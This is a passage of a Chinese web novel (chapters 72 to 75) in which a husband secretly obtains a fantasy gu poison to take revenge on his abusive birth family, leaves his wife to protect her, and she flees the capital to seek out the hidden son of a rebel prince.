林闻溪回头看了一眼,拉着沈岳的衣袖走到角落,“我有事想请岳弟帮我。” “姐夫有事直说便可。” 林闻溪的语气有点可怕的冷静道:“岳弟可否制一些毒药给我,最好是慢毒不宜令人察觉的。” 沈岳猛的缩回被他拽着的手,“姐夫要那种东西做什么?” “我自有我的用处。” 沈岳疯狂摇头,“这可不行。” “阿姐她今日已为姐夫洗去大半冤屈……” “那女人所说的婚约不是还没下文,我想将她毒死,她死了不就万事大吉。” 林闻溪语气平常到仿佛是沈岳听错了。 “姐夫……你怎起了这样的心思。” “怎么,她不该死吗?” “她该死……但朝中有律法……有衙门在……” 林闻溪直接打断他问:“毒药,不能给我吗?” “不可。”沈岳摇着头。 “哦,那罢了。”林闻溪蹙着眉头,回去坐到塌边,守着沈年看。 72 第72章 ◎那再见◎ 林闻溪将手覆在沈年脸上轻轻摩挲,眼睛一动不动的盯着她的脸,跟一个木架子一样坐着分纹不动。 沈岳着实被他先前那几句话吓了一跳,边在桌案边给沈年配药,边不安的偷偷瞟着林闻溪。 林闻溪的眼神分明是在出神放空,不知在想什么。 忽然见林闻溪僵硬的上身动了一动,转过脸来对他微微一笑道:“阿弟今儿来瞧我,倒让你跟着我涉险了,今日听着外头那些骂声一时惊惧,刚才口不择言说了那些话,还望岳弟体谅。” 沈岳舒了一口气,“姐夫蒙受此种污蔑,想报仇雪恨是人之常情,只是……” “只是恶人自有天收,”林闻溪舍得松开沈年的手,起身向他走过来,“她的血不该来脏了我的手。” 沈岳道:“姐夫这般想我便放心了。” “我先前的那些话还请阿弟不要同三娘讲,我怕三娘听了不喜,”林闻溪扮出一张可怜样,“毕竟我名声受损,三娘她难免会嫌弃,若要她知道我又生事,往后就不会再疼我了。” 沈岳热心点头答应,出言劝慰:“阿姐她怎会在意这些,她心疼你我看反而会更疼姐夫才是呢。” 林闻溪掩面不好意思笑了笑,“阿弟的这安神药膏好用,能否再留下一些,也好让三娘夜里也睡的安稳些。” “这个好说。” 待送沈岳出了院门,林闻溪收起笑脸,打开他留下的药膏,又在沈年鼻尖抹了一些。 沈年昏昏沉沉的支起胳膊勉强坐起来,外头天已经黑了。 “怎睡了这么久。”她自言自语了一句。 屋子里静的很,沈年捂着额头唤了几声林闻溪。 林闻溪不多时推门走进来,吹亮火折子多点起几支蜡,检查了下沈年的容色问道:“三娘可好些了。” “不怎么疼了。”沈年被他扶着靠在软枕上,想关心他又怕提起那事来上伤到林闻溪的心,拐了个弯问,“你刚才不在屋里陪着我,是去哪了?” “我能去哪,只是去给三娘熬汤了。” 林闻溪说着抱着沈年的腰主动将脸贴在她脖颈上,沈年不自觉的伸手回抱,心疼摸着他的耳鬓。 “三娘为我又受这些苦。”林闻溪强忍着哭腔,但一声还是哽咽,“我从没和三娘之外的人有过一丁半点接触,只和沈家定过亲,那个……” 林闻溪甚至不想从他口中提起那个他恨不得千刀万剐的女人,他的话中断一下,强吞下口中的恶言恶语,向沈年自证清白道:“我浑身上下都是只属于三娘一人的。” 沈年本以为林闻溪要问她为何瞒着他这件事,没想到他一开口急着跟她诉说自己的清白。 她心跟着揪,将他在怀里抱的更紧了点:“是我连累你受了伤害,你实在不必和我说这些,我比任何人都清楚你的过往,怎会不相信你呢。” “三娘……”林闻溪难过的唤她一声,抬起头脸上挂着眼泪,急切的吻了她一下。 两人谁都没有动,只是嘴巴轻轻贴在一起。 一连大半个月闹的不愉快,彼此过溢的想念,似乎借着肌肤相触才能得以倾泻。 “从前是我太自私,三娘为我做了这么多,我倒次次将三娘关在门外。” 林闻溪将嘴巴移开,湿蒙蒙的的眼睛诚挚的看着她,“三娘往后不可再为我伤了自己,还有别再因我去涉险,母亲她的这几下该打在我身上的。” “我没事。”沈年轻笑着给他擦拭眼泪。 林闻溪又低下头枕在沈年肩上,“有林家作保和那张以假乱真的婚书,陛下和朝臣又催的急,这局三娘也难破吧。” “总会有法子的……大不了我带着你一起走,总之不会将你一人仍在这里的,别怕。” 林闻溪听着沈年的话,不安的下意识在她肩上蹭了蹭。 带他走……是实在是没有法子了吧。 他哀愁在沈年怀中安静躺了片刻,而后直起腰温馨的笑着,“想来汤炖好了,我给三娘去端来喝一碗。” 沈年点头,“天黑了,当心烫到。” 林闻溪笑:“我又不是三岁小孩子。” 他的汤炖的香,沈年一瞬便闻到香味。 “怎么不在榻上躺着。” “不知今日怎睡了这般久,躺的头疼。” 林闻溪盛了一碗给沈年,不动波澜道:“岳弟给三娘用了安神镇痛的药膏,我瞧三娘睡着时似是疼的呓语,便又给三娘用了点,许是用多了些。” “哦,是这样。” 饭毕照料沈年睡下,林闻溪下榻拿出今日从阿久那里得来的药丸。 这是曾经沈年所中过的蛊毒。 他今日让沈年多睡了几个时辰,是乔装打扮后去了一趟去沈年宿醉的那间酒楼里,见到了阿久。 阿久一进门对着他就是一顿痛骂,“我说你不光是命数不好,是不是还克妻啊!她跟着你在一块不是伤就是病,还叫全京城的女人取笑,真是个丧门星啊你!” 林闻溪任他骂不还口,直直的问了他一句:“你从前用的那种蛊毒,还有没有,给我一些。” 阿久气笑,“怎么?是我欠你的不成?” 林闻溪冷冷回道:“你本来就欠我,当初不是你一封信教唆父亲害我的?” “那是你自找的。” “你说你喜欢三娘,你既然喜欢她,那你帮我就是在帮她。” 阿久松了口:“你打算做什么?” “毒药,当然是用来杀人的。” 阿久没犹豫多久,便唤了人去取药。 林闻溪瞧着药丸,痛苦的下定了决心,他不能在继续留在这里拖累着沈年了。 他要回林家去。 霁王想用他来要挟沈年,只要沈年还平安,霁王就不会动他,若是沈年出了什么事,那么他也没有活着的必要。 林家的害他的每一个人……还有那个贱妇……每一个人他都要让他们不得好死。 他一早起来给沈年上药,等到药干了擦净,俯下身低头在她背上眷恋的亲了一口,温热的气息洒在沈年腰上,弄的她很痒。 “难受,快起来。”沈年抬手向后推了推他。 他反而用胳膊圈上她的腰身,整个胸膛贴在上面,他也只是穿件单薄的里衣,身上的温热很快落在沈年背上。 “不要这般……”沈年摇头拒绝他贴过来的脸。 “不要什么?不要我在上面?”林闻溪追着亲她的眼睛,“可三娘受伤了,还不让能我来么?” “听阿弟说那些人昨日在门口来吵闹……你当时听的昏倒了。我从前一直缠着你是想让你同我和好……你近来不用勉强做这件事,与我说说话如何,我更想和你说话。” 沈年的心思细腻竟为他想到这种地步,林闻溪一瞬反应更甚,“和三娘我怎会勉强,我喜欢三娘,想身上时时都沾上三娘的味道。” 沈年一门心思关心他:“你平常也不会说这些话,是不是昨日被吓到了。” “三娘还有七八日就该走了,我只是想和三娘再多亲近亲近。”林闻溪说着拉开自己的衣衫,将脸挪到沈年背上一寸寸亲吻。 “说不准我会带你走。” “带我走?”林闻溪不死心仍没停下,边亲边含糊道,“那会很麻烦的。” “你先前不是说要跟我走么。” “先前和现在不一样。” 沈年仰起头问:“哪里不一样?” “三娘先别再问这个了。”林闻溪趁机握着她的脖颈,将脸凑过去寻着她的嘴巴亲吻。 沈年纵容着依了他,只是林闻溪今日实在荒唐。 他亲后背不够,还拉着沈年坐在他腿上,似乎是看准了沈年的后背疼要扶着他的肩,沈年低着头的位置正合适他抬起脸来接吻。 林闻溪激烈的索吻,似乎忘了一直恪守的服侍她的规矩。 “别……”沈年握着他的脖颈挣开,她喘不过气来。 林闻溪很听话的停下动作,沈年看着他的唇色都亲的泛白。 “是我错了,忘了规矩。”林闻溪埋在她肩上说是认错,倒像是撒娇,冷不丁探出舌尖舔她的肩。 “今日怎么这么怪?” 沈年问了这一句,林闻溪便覆上她的唇不再让她说话了。 荒唐半日,沈年沈年和他拉扯了半个时辰才将衣裳穿整齐,林闻溪半跪在榻上将侧脸贴在她腰上抱着不撒手。 “三娘受了伤,还去上哪门子值?” 沈年做着最坏的打算带着林闻溪一同走,她空间里囤积的粮食用物足够消耗,只是还需另做一件软甲给他,这软甲制做繁杂,她的那件也是花了十几日才做好的。 故而今日任林闻溪再缠着她央求,她也要起身走。 “还不把衣裳穿上,要着凉的。”沈年推推他的脸。 “还不是想让三娘再多看我几眼。” 沈年摸下他的头:“我夜里会早些回来。” “那……再见,我会等一直三娘回来。” 林闻溪松开了手,抬头看着沈年,朝他笑了笑。 沈年走了。 林闻溪一直在门口望着她的脚步。 他一瞬颓下了背,立在镜前痴痴摸着身上留下的痕迹,也许这是最后一次。 他该走了。 73 第73章 ◎分开◎ 白石端着午膳进了屋,见林闻溪正伏在案上凝神提笔在纸上写着什么,握着笔的那只手止不住的发抖。 “郎君这是冷吗,怎坐着在抖。”白石走过去披了件衣裳在他身上。 林闻溪惊的后背颤了一下,惊惧的张大眼睛回头看了他一眼,下意识抬起手用衣袖遮着桌案上的纸。 他紧张的问:“你……你是何时进来的。” “我来给郎君送午膳,才进来,是我没出声,吓到郎君了。” 林闻溪回过神想起白石不认得字,才转过头沉了口气,瞧见衣袖上沾上几片墨迹,耗了许久才写好的和离书被墨汁洇成一团黑。 他瞧着那团墨迹伤神,他原来以为自己能潇洒的做好一切,悄无声息的很快离开。 没成想这张纸便写了近半个多时辰。 不写这东西,若日后他毒杀人之事东窗事发,难免会连累到沈年和沈家的人。但写起来却是字字锥心,他从前答应了沈年什么事都不再瞒着她,可眼下他又跟她撒了这么大一个谎这一走不知往日会是什么光景。 白石看着他凝重哀伤的表情,小声抱歉道:“郎君这是在写什么?怪我……这纸我帮郎君拿到外面晾干。” “不用,这只是今日要出门给三娘离京置办的用物的单子,我再写一张来就好。” 林闻溪压下他的手,片刻缓过神色道。 “可眼下外面……郎君还是暂且避避风头在院中呆着为好。” “我一直躲着闭门不出才显得心虚,再说又能避到几时。” “三娘子说了,不让郎君出门,昨日又有那群人往院中放箭,此时出去恐怕不妥,不如将这单子交给旁人,让他们去帮郎君去买。” 林闻溪将那张洇掉的纸揉掉,提笔重新写起来,他加快了写字的速度。 “无事,让侍卫跟着我出门就好,三娘要出远门这些事假以人手我不放心。” 白石为难道:“可……” 林闻溪无暇顾及他的阻止,索性强硬命令道:“好了,你去备马车就是。” 林闻溪定下的主意除了沈年,旁人是说什么也无用的。 白石无奈出了门去,留了个心眼让小薇前去官属知会沈年一声。 林闻溪怀中抱着一个木盒出来,已换了身衣裳,胸前却仍旧挂着那只沈年送给他的玉鹿坠子。 “郎君最宝贝这玉坠子,自那日从林府回来磕碰了一下便再也舍不得带,怎么今日又挂身上了。” 林闻溪低下头握在手心摸了摸,淡淡笑了笑不语,回头看了一眼屋内缓缓将门关上,“走吧。” 待小薇赶到官署中向沈年报了信,林闻溪的马车早已驶出很远,停在一间珠宝铺子门前。 “眼见外面不太平,郎君买这些玩意中看不中用,不如留着银子,也好为日后打算。”白石挡在车帘前,拦着林闻溪下去,“且这儿离林府不远,万一撞见谁不如早些回院里安心。” “岳弟过即日便要定亲,他救了我与三娘几回,我怎能不亲自为他挑件贺礼。”林闻溪瞧了一眼窗外,朝白石笑了一笑推开他,“你看周围哪里有什么人,我进去买了东西便回。” 林闻溪从马车中钻出去,直奔着铺子里面走。 白石紧跟在身后,招呼侍卫们守着门口。 沈年没多时慌里慌张一头撞进铺子里,白石瞧见她的面还松了口气。 沈年张望着不见林闻溪的面,焦急抓着白石的胳膊问:“他人呢?” “郎君看中了只发冠,随掌柜去里间——” 白石话说到一半,沈年就等不及抬脚将门踢开,里面空荡荡的连个鬼影都没有。 她脑中轰的一声心中的不安怦然坠地,摔的四分五裂,心脏跟着空白了一样,一瞬间她僵在原地没了知觉,只看见眼前白茫茫一片。 白石冲进去满屋子找人,吓得声音都打颤,“我一直在门口守着,郎君明明跟着掌柜二人一同进去,怎会不见了!” 墙后的木架子缓缓推开,阿久啧声从里面走出来,“可别将我铺中的东西砸坏了,金贵着呢。” 沈年看见他的脸抽回神来,冲过去越过阿久直朝着木架后面找去。 “别找了。”阿久抑制不住的生出忌恨,转过头冷声对她喊道。 沈年死死握着他的肩,没有情绪的问出两个字:“人呢?” 她的眼睛直直的,看着阿久似看着什么仇人,麻木又带着沉重的疲惫。 阿久被她看的一瞬愣神,不想张口说话,将袖中林闻溪交给他的信甩到她手中。 一封是和离书,另一封是很长很长,字写的密密麻麻的,几大张林闻溪亲笔所书的分别信。 沈年攥着纸看了半刻,“是他自己要走?” “是他来低三下四的来求我,想必这会人已经到林府门前了。” 沈年闻言头也不回的追出门去,阿久看着她远去的背影,心底还停留在沈年看他的那一眼,他是时候该死心了,林闻溪能为爱放手,或许他也该放手了。 阿久怅然的坐下,一抬头惊觉门口站着他的娘子。 “你怎么会来这里?” “我一直跟着你,”阿久的娘子淡漠的坐下,“担心堂姐来会出什么事,便进来看看。” 两人沉默一会,阿久的娘子忽然开口道:“堂姐她根本一丁点都不在意你,你即便与我和离,她也不会善待你的。” 阿久猛地湿了眼眶,走过去抱上了她。 —— 林闻溪带着帷帽一路走的很急,频频回头张望以免有人跟着他,到了林府周围,他将帷帽取下来,让周围人瞧见他的脸。 “这不是沈府的郎君么,还敢回这林府里来,不怕你那黑心的父亲害把你的皮扒掉。” 周围很快有人认出他来,瞧着他往林府的方向走,纷纷出声劝道。 林主君自那日从公堂回来,便成了整个京中后宅的笑料,连带着林家也一夕之间丢尽了脸面,林家门口的牌匾夜里不知被何人用石头砸了下来,摔的四分五裂在地上。 如今门前空荡荡的,林闻溪当着一众人的面叩响了林府的门。 门很快打开,林府门前的石阶上错落站着几位林家人,一张张素白如冠玉的面庞,像是白蛛一般潮湿的狰狞的可怕。 “兄长可算回来了,为弟已在此等候多时了。” 林长羽站在几人前面,笑容分外惹眼。 “孩儿清名不在,在妻家难以立足,今日回府以求庇护,不知母亲和父亲可愿让我回来。” 林闻溪颔首微微笑着,迎面瞧着几人,他并不害怕,像是找回了从前的他。 林长羽向他走近,瞥着林主君着意说道:“五郎本就是林家人,父亲日日都盼着你回来。” “一个弃夫害的你母亲停官罢职,害的你三姐被打伤在塌,现在想回林家的门,哪有那般轻易。” 林主君的脸冷酷的像个阎罗,扯下了往日的假面,趾高气昂站在门口刁难道。 “孩儿自知有错,在此为母亲和父亲行大礼谢罪。” 林闻溪撩起衣摆跪在地上将头磕的响亮,林主君没有喊停的意思,他便一回比一回磕的更响。 林闻溪磕破了皮,林主君畅快的迈步下来盯着他的伤口欣赏,看似去扶他的肩请他起来,实则侍暗力按着他的肩头更为羞辱的往他靴上磕。 林闻溪总算得以抬起头,他却笑的格外恣意。 “多谢父亲关怀扶孩儿起来。” 几人盯着林闻溪起身,一步步迈进林府的门,将大门重重的合上。 沈年还是来迟了一点。 周围的百姓见沈年从马车出来,上前来告状道:“沈大人的郎君刚才在地上磕头,头都磕破了,那林主君还装模做样来扶他,他便傻傻的信了,笑着跟人进府去了。” 白石万分自责急的直哭:“郎君怎这么傻还笑的出来,这可不是羊入虎口了,都怪我疏忽,没料想到郎君有了这样的心思,他今日些那些字的时候我明明就在旁边看着。” “这不怪你。”沈年平复着自己急促的呼吸,无力的闭上眼。 是她早该想到的。 他昨日受了万般恶语却那样的平静,晨起又不顾着她的伤说什么都要做下去,拉着她的手说那一句再见……她早该想到的。 “三娘子莫急。”小薇扶着她的肩让沈年支撑,“正君跟着我学的已有些功底,想来这会我带人闯进去还来的及。” “这会林府里定布置了霁王的人,你们进去只会白白送命。”沈年镇定下来将她拦住,“现在随我去宫中面圣。” “那正君他可怎么是好?” “他不是会白白进去送死的人,你没听到旁人说他还有心思笑么,他的心眼多着暂且不会有性命之忧。” 林闻溪在信中写了他从阿久处得来蛊毒之事,林主君扶他的那一下沈年估计过不了几日林主君身上便会发作蛊毒。 看了一眼林府黯淡的门面,林家人给自个迎了个勾命阎王进府,这府邸大约是要被烧做一团木灰了。 林闻溪信中写的在理,她与林闻溪如今是一同生,一同死的。 眼下她唯一要做的便是离京。 74 第74章 ◎为何不可以◎ 入了深秋,院中的落叶被风卷在地上发出窸窣不听的声响,凄冷的风顺着朽掉的木窗灌进来,林闻溪半躺在一张破烂的木塌上,他的双脚被一团粗糙的麻绳捆着,勒出一圈深红的伤痕。 他的颈上缠着纱布,上面有一条不深不浅的伤口,是那日进林府时,屋檐上的跳下的黑甲卫将刀抵在他喉结上弄伤的。 他那日听见沈年追来在林府门外说话的声音,着实有些乱了阵脚,情急下想喊一声让沈年不要进来。 甲卫便把刀横在了他脖颈上,刀刃一寸寸抵进,划破他的皮肤,生出一道细微伤口,“就是如此,你再害怕一点姓沈的就多心疼几分,到时候让她跪在脚下求我” 林闻溪捂着喉咙,疼痛的蜷缩在地上,伤口虽不深,可他还是满手都沾上了血迹,眼前泛起了蒙蒙白雾。 他痛苦的闭着眼祈祷,庆幸的是沈年并没有进来。 再醒来时,脖颈上的伤口被粗劣的纱布包着,被关在这间破败的屋子里。 林长羽坐在他面前,欣赏着他浑身的伤痕,鄙夷的讥讽他道:“看样子沈三娘对阿兄也没如何痴心,她竟如此薄情扔下你在这里受难。” “她走了?”林闻溪难掩欣喜的问。 “她是跑了。”林长羽摇着头咋舌,“她倒是精明的很,使了一招金蝉脱壳,昨日进宫路上让身边的随从换上她的衣裳,扮作她入宫拖延时辰,她自己早不知何时逃之夭夭了。” “连母亲父亲都未前去辞别,又犯了欺君大罪,此刻连陛下都在四处寻她的踪迹。” 林闻溪沉默着没有应声,陛下想让沈年假死求援,沈年一直忧心陛下会假戏真做,不过不论身死之事是真是假,消息一旦传回京他便没有了用处,沈年冒大不韪做出此举是为了保他平安。 自那日之后,至今已过了将进十日。 从林长羽每日来折磨他的只言片语中,林闻溪依稀听的出沈年是全然销声匿迹了,霁王和陛下都没能找到她。 她去了哪?林闻溪满脑子都在想她。 反正她一人在外风餐露宿,四处逃命定比他现在也好不到哪里去。 沈年一走霁王便露了真面,昨日入夜时已命人围了皇城,一整晚外头都是火光满天,攻城声音时远时近,纷杂不清他并辨不清楚战况。 林闻溪起身坐起来,瞧着自己身上被木塌刮破的衣裳,水面中倒影着的凌乱不堪的面容,心中早已是空落落的,坐在这仿佛只剩了一个空壳。 他从破窗中看见林长羽怒气冲冲带着人正朝他门口来,林闻溪提起精神,慢条斯理的理着自己的衣摆,迎候着他进来。 “你这个毒夫!母亲和父亲身上所生的毒瘢是不是你搞的鬼的!”林长羽一上来便拽着他的衣领,气急败坏的掐着他的脖颈问。 林闻溪抬眸挑衅的望着他,微微笑道:“阿弟所说的是什么毒,为兄的实在不知道。眼下城中大乱,大夫想必不好找,阿弟有教训我的工夫,不如想想法子如何救两人的命。” 林长羽疯狂扯着他的衣衫,歇斯底里将他按在木塌上死死厄住他的喉咙,林闻溪脖颈上的伤口崩裂,血渗到那单薄的纱布上,沾到林长羽的手指。 林闻溪被掐的憋红了脸,瞪大了眼眶,看到他的手却笑起来,“阿弟不如再用力些,你敢吗?” “公子不可伤了*他的性命,您忘了那些甲卫的吩咐?”身后的侍从上前拉开林长羽,小心劝道。 “我们早在他身上翻便了,什么都没有,更不用说什么有什么解药了。” 林闻溪侧过身猛烈的喘息,他身上自然不会留下什么药,进门的时候他已经用到林主君身上去,还有一味情蛊一早被他吞在肚子里。 林主君和林御史夫妻同寝,林主君一人中药便可连带着林御史和旁的侧室,一个都逃不了。 他刚进林家时,林御史也被院中那些黑甲卫吓得发怵,料她当时定不知林家父子二人与逆党勾结之事,可到如今她不会不知道林家在为霁王做事,竟也不见有何反抗之举,堂而皇之令那些甲卫在林府出入。 如此虚伪苟且偷生之人,林闻溪真为他那可怜的爹爹不值,若当初林御史有心救他,人也不会那般骤然病逝。 他这所谓的母亲,根本就是死不足惜。 至于林长羽……林闻溪倒是要让他尝一尝声名尽毁的滋味,林长羽给他编造的那些污名,他要一句一句在他身上找回来。 朝中已是乱做一团,霁王兵临城下将皇城围的水泄不通,朝臣们被困在官署中不许回府,陛下似乎是早有防备幽禁了府上的亲眷,殿上众臣人心惶惶,上了朝鸦雀无声。 罗从宛倒是临危不乱站了出来,“昨夜一战禁军大胜,怎众位同僚士气如此低迷。” 有人愁道:“殿前司所制的兵器是锐不可当,可即便守的住一时,城中的粮食迟早有耗尽的一日,外面民乱未定,到时内外交困恐怕无力可战。” 罗从宛:“身处困局若不思求生迎战,而一味胆怯瞻前顾后,谈何能赢,再者殿前司尚在外,自会设法周旋。” “殿前司不告而别究竟去了何处?罗大人和殿前司交情甚深,难道就无一点头绪?” 罗从宛顿了顿,“连沈家也无从得知,我又哪里能知晓。” “那罗大人刚才所言只是一厢情愿的猜测而已,若殿前司是怯战逃走也不一定。” 罗从宛道:“沈府一门皆在京中,还有其正君林氏如今还身陷囹圄,她岂会逃?分明是被霁王逼走的。” “罗大人所言极是,殿前司的品行众官也是有目共睹,如今大敌当前,朝中各位该同心竭力应对才是。” 下了朝,陛下召了罗从宛和沈修撰一同觐见,依旧是问沈年的下落。 “二位爱卿当真不知?” 沈修撰身上锐气尽散,声音带着说不尽的疲惫:“臣与小女最后一面动了家法,陛下想来见过其伤,闹到如此境地,她如何还会与臣吐露心声。” 罗从宛依旧摇着头。 罗从宛大致猜的到沈年去了何处,为了沈年的林闻溪的安危,她自然是不会说出口的。 失了沈年,陛下似乎格外倚重罗从宛几分,命罗从宛做了城西门的指挥使。 霁王的兵马四五日城门都未能攻破一处,却是伤亡惨重,于是偃旗息鼓不再攻城,转而重兵围困皇城。 松岭镇府衙门口的布告前,女子穿着一身矜贵的衣裙,发髻上的银簪微微闪光,肩上披着青蓝色的斗篷,盯着布告看了几眼便转头离去。 任谁看了都觉得这是哪家大门户里贵女,躲到这无名小镇中避乱来的。 这布告仍是七八日前她看过的。 沈年垂眸心中不安,但脚步仍是不急不缓的行在街面上。 她是个惜命的人,当初答应林闻溪会做好万全之策的话并非虚言,从京中到兰城沿路遍布着她未雨绸缪着人安置的落脚点。 一路行来除了夜里不敢闭眼休息,提心吊胆躲避追踪的没吃过一顿饱饭,日夜兼程赶路脚底磨出许多水泡外,并未受多大苦楚。 大多时候也只是她一人疑神疑鬼,毕竟她现在这张脸没人辨的出来。 这是她请沈岳做的假面。 当日从马车里遁走不是她一时意气,她并不信陛下,史书上兔死狗烹的事数不清,陛下就算眼下不动她,待到平定霁王后又如何能容的下她。 她若依陛下之计,九死一生不过是为她做嫁衣。 沈季凭她一句话便入了宫闱,那时候她惊觉自己也不过是皇权下的一颗棋子。 是棋子就迟早有被扔掉的时候。 人人在奏书中参她引动民变,她跪在陛下脚下,盯着奏折上的那些字。 她想着,为何不可以呢。 一路从京中行来,她看见百姓跪在街上变卖儿女,看见一家老幼分食一张树皮,看见饿死在路边腐败的野尸,看见一座又一座被啃食的光秃秃的山 她问自己,为何不可以呢。 她似乎忘了,她并不是书中人。 依罗从宛所说,她寻的那个男子就是住在此地。 她在罗从宛所说的庄子附近寻了一间小院,见里面坐着一位面容和善的阿婆,正在浆洗衣物。 沈年悄悄观察了一会,上前叩响了门。 她开了一道门缝警惕道:“娘子这是打哪里来。” 沈年笑着掏出银两交到她手中,“我本是京中人,听闻眼下京中生乱不得回去,不知阿婆院中可有空屋子容我借住几日。” “如今此处也不太平,你进来吧。” 沈年进了门,老阿婆打量了一眼外面眼疾手快将门关上。 院中没有旁的人。 沈年道:“阿婆,瞧您年纪这么大了,还一个人住。” “旁边的兰城百姓闹事,年轻娘子都叫官府的搜罗个干净,我两个女儿都叫捉去了。”阿婆递给她一碗水,“你喝了这碗水还是走的好,此处留不得。” 沈年掏出一张纸,笑道:“我身上有官凭,她们不敢拿我。” “你是当官的!”阿婆骤然变了脸色,夺过她手中的碗,“那你快出我的门去。” “我姓沈单名一个年字,阿婆可听过我?” “青天菩萨!沈大人的名这里谁没听过!”阿婆眯着眼凑过来细看,“可瞧着你这脸和官府的画像不怎么像,你可别唬我这老婆子。” 沈年抬手将脸上的伪装撕下,“阿婆再瞧,像是不像?” “像娘子真是沈大人不假,我的青天菩萨!”阿婆说着就向后退身,要磕在地上拜。 沈年忙扶着人坐起来。 “沈大人如何大驾光临到我这院中来,真是折煞外面都说沈大人正是青春年少真是不假。” “阿婆不必拘束,我到此是想寻一男子,想同阿婆打听几句。” “这十里八乡就没有我老婆子不知道的人物,沈大人只管问便是。” 沈年细细同她形容了一番,老阿婆没半分犹豫道:“定是前头庄子里的那个。” “那男人和她家娘子应当是半年前才搬来的,大夜里头搬家,路过我家院子我依稀瞧了一眼,看不清脸只记得身形,这家人从不出门见人,只得见外头伺候的人进出。” 沈年:“那男人已有娘子?” 老阿婆点头:“还是老妻少夫,传言那女人生的凶神恶煞,连官府的人来都没能把她如何,灰头土脸的被赶出来。” 沈年正听着,忽然听见外头传来沉重的脚步声,院门被砸的闷响。 “定是有人在街上瞧见沈大人,引官府的人来了。” 阿婆急着去堵门,沈年将脸再次掩盖好,走到门口扶着阿婆坐下,缓缓将门打开。 75 第75章 ◎结局(一)◎ 沈年将那纸官凭展开到几人面前,端着脸神色倨傲蔑了撞门的几人一眼。 几人面面相觑扫了一眼她一身的行头和说话的架势,一晃变了脸色,躬下腰谄媚笑道:“原来是京里来的上官,我等还当……” “当逃难来的富绅贵户?瞧几位拍门的气势,是想在本官身上发一笔横财。” “这……我等不敢。”几人讪讪笑着,“不知上官来此地有何公干?” “殿前司不知所踪,本官奉命寻找,途经此地进院中和这位阿婆讨碗水喝。” “殿前司大人来了此地?” “本官也尚在寻找,刚才听这位阿婆所言前面那户庄子颇为神秘,殿前司就藏身于那庄子也未可知。”沈年抿了一口水,“正好你们随本官一同前往,免得本官再去府衙中走一回。” 沈年眼下尚需隐藏身份,有这些官差在,她便可正大光明的进去找人。 那几人为难道:“那户庄子的主家刁横的很,前几日才将我等打伤……” “一群草包!”沈年假意冷脸申斥,“此回有本官在怕什么。” “是……”几人垂下脸惭愧,全然信了她的身份。 一旁坐着的阿婆道:“庄子里的人一瞧穿官衣的人来一定闭门躲的远远的,不如我这老婆子一同去,万一真寻到沈大人也好让我瞧一瞧她的尊容。” 沈年暗笑着点头。 这庄子望去大的很,依山而建。院墙垒的足有三丈之高,只看见一扇灰黑的厚石门。 停下门前抬头一看高耸的院墙,灰蒙蒙压在头顶让人心头有些打鼓。 “这庄子前数十年还只是土坯砌的荒破庄子,之后一年年修成如今这样的。”老阿婆一面说,一面叩响石门。 敲了许久,并无人来应门。 那几个官差等不及索性抽出刀来砍门,刀刃都磨的发顿,石门还是纹丝未动。 沈年摆摆手让几人退到一边,隔着门朝里面道:“殿前司数十日前于京中潜走,依本官所查到的线索,殿前司离京前曾暗查过此地,还曾在纸上画过一雨日擎着伞的男子,疑似庄中之人。本官怀疑殿前司极有可能潜藏于此,速速开门让官府进内搜查。” 沉寂片刻过后,石门缓缓打开。 门后是是阿婆所说庄子的主家,女子年近四十,面容让沈年觉得有丝似曾相识。 她上下扫了沈年一眼,视线在沈年手掌上停了一瞬。 “庄中并未有大人所说之人,大人尽可命人在庄中一找。” “去仔细搜。”沈年转头向身后官差道。 “庄子屋舍杂多,恐是要寻一阵,请大人随我去堂中喝盏热茶。” 这庄中屋舍错杂四处遍布小径,沈年张望了几眼婉言摇头回绝。 “沈三娘子。” 她听见有人在前面唤她微抬了下头,又慌忙转移视线。 依旧是男子的声音:“沈三娘子手掌上的伤痕,如今淡的都快看不出来了。” 沈年低着头不作回答。 男子从前面的小阁中迈步出来,那位老阿婆不知何时跟在了他身旁。 “三娘子不必再掩藏,雨中相遇的事只有你我知道,沈三娘子说出来不就是想与我相见么。” 沈年看见阿婆并未有多大表情。 她在院外便瞧见了这阿婆捣衣的力道,并不似一个老人。 且小院就在这庄子的必经之路上。 这并不难想到。 所以她才那样轻易露出真容。 听到这位阿婆说要跟来时,她便更笃定了。 沈年看着面前的男子浅笑,“陈公子不轻易露面,想来也在等我来。” “看样子沈三娘子早都知道了阿婆是暗桩,并不算太笨,”陈孟君蹙着眉,“堂中的茶已经摆好了,随我进来吧。” 进了堂中,沈年捧着茶盏,余光瞥着座上的陈孟君,他似乎皱眉已经成了习惯,自她进来没有一刻展开过。 他的贵气像是从骨子里散出来,生而就有的一样,瞧人的眼神带着说不出的微妙漠然高傲,然而身上又浸着一股沉重的哀苦,令人觉着十分相违。 “沈三娘子可瞧够了?” 沈年收回视线,“陈公子小小年纪,富贵已极,怎眉眼间尽是哀愁。” “便是有金山银山又有何用,沈三娘子应当猜的出我的身世,不必出言试探。”陈孟君闭着眼叹息,“我知道沈三娘子为何找我,你发誓你能杀的了她,我便可以随你走。” “她?是霁王?” 陈孟君猛的睁开眼,害怕的咬着唇边:“别在我面前提她。” 沈年慌忙合上了嘴。 看他唇角被牙齿刺破了皮,沈年小心道:“你别害怕,先擦些药。” “无事。”陈孟君接过侍从递来的素绢,按在唇边擦拭,重复一遍又一遍坚持问她,“你能杀的了她吗?” “可以,不过你得先告诉我,你为何想杀她。”沈年反冷静下来问,“她到底与你有血缘之亲,她一旦得势你便是——” “便是什么?当朝皇子?”陈孟君痛苦的冷笑一声,“当初父亲就是这般想的,他心心念念做什么帝君,最后被她一刀毙命,屈辱死在那破庙中人人践踏耻笑。” 沈年问:“你知道你父亲的死因?” 陈孟君长长吐了一口气,而后说了很长一段话。 “当初父亲怀有身孕时,她便哄骗父亲说刘宅不干净,待孩子生下带到京中王府里教养,父亲一心钟情于她并未多想什么就答应下来。” “临盆之日父亲才知腹中怀着的是双生子,‘爹爹看着你们两个的小手小脚,实在很不下心将你们两个都送走’,这话是幼时父亲同我说的,他瞒下双生子的事,悄悄将我留在院中养着,将妹妹送到那个女人手上。” “后来父亲几次央求相见妹妹一面,都被她敷衍搪塞回去,且那个女人似乎察觉到还有我的存在,父亲觉得不安,五岁时辗转将我送走,他也不敢与我传信,自那之后再未相见。” “多年来第一次收到他的信,信中居然是他的讣告。”陈孟君泣不成声,“我当时见到你,真想一刀杀了你,若不是你查那桩案子,他怎么会死!他怎么会成了……那个样子!” “可我看着你与那郎君一同放河灯,那般情意美满,也知真凶并非是你,故而逃到了此地。” 